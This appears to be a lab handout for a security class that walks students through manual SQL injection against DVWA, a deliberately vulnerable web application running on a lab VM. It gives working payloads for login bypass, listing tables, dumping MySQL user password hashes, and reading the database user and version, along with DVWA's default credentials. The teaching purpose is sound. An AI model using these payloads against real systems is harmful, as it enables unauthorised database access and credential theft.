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(SQL Injection Workshop)

{ a' UNION select table_schema,table_name FROM information_Schema.tables;# }


Background Information
  • This next workshop illustrates various manual techniques of several SQL injection attacks.

 

Prerequisite
  1. Login to your TargetUbuntu01 VM, as username student OR administrator
    • For those of you that do not have access to my class, TargetUbuntu01 is a Ubuntu Server with very hackable versions of apache2 and mysql exploits.

     

  2. ifconfig -a
    • You need to make sure you have an IP address:  (See Below).

     

  3. ps -eaf | grep apache | grep -v grep
    • "ps -eaf" - Will show all the processing running on the system.
    • "grep apache" - Display only the apache processes.
    • "grep -v grep" - Ignores the actual grep process.

     

  4. Log into the Instructor VM
    • This server can be any Operating System on the same network as your TargetUbuntu01 that has a web browser.

     

  5.  Fire up FireFox
    • In the address bar, use the following address
    • http://TargetUbuntu01_IP_ADDRESS/dvwa/login.php
      • In my case, it is 192.168.1.107
      • Username:  admin
      • Password:  password or abc123

     

  6. Select DVWA Security from the left side vertical menu
    • Then select low
    • Then click submit

 

Section 1: Use SQL Injection to Determine Application Users
  1. On the Instructor VM, in the DVWA Vulnerable Web Application, click on SQL Injection
  2. Type a' OR 'x'='x'#; in the User ID: Text Box
    • I realize we have a little more information that most hackers about this website.
    • We know that the table name is call users.
    • However, we do not necessarily need to know the table name to attempt to grab a user's list from the logical access table.

     

  3. See below for results.
    • Notice that we are able to see both the First Name and Surname (aka Last Name)
Section 2:  Use SQL Injection to find all table of a database
  1. Type a' UNION select table_schema,table_name FROM information_Schema.tables;# in the User ID: Text Box
    • The above command will show all the tables per database.
    • From this data we will be able to enumerate tables of each database.

 

Section 3:  Use SQL Injection to get database passwords
  1. Type a' UNION ALL SELECT user,password FROM mysql.user;# in the User ID: Text Box
    • The above command will show all the user and their password for the users table of the mysql schema.
    • The mysql schema controls all the authentication and authorization for all the databases.

 

Section 4:  Use SQL Injection to learn what user is executing the webpage queries
  1. Type a' UNION ALL SELECT system_user(),user();# in the User ID: Text Box
    • The above command will show the name of the database user that is executing the queries coming from the cgi script.
    • NOTE: That root is executing this the queries, which is very dangerous.  Because you could always drop a table or even a database if you wanted to be malicious.

 

Section 5:  Use SQL Injection to learn the version of the mysql server
  1. Type a' UNION ALL SELECT 1, @@version;# in the User ID: Text Box
    • The above command will show the version of the mysql server.

 

Proof of Lab
  1. Cut and Paste a screen shot that looks similar to Step #1 in Section 5 into a word document and upload to Moodle.

 

More References

  • http://www.unixwiz.net/techtips/sql-injection.html

 

 

 



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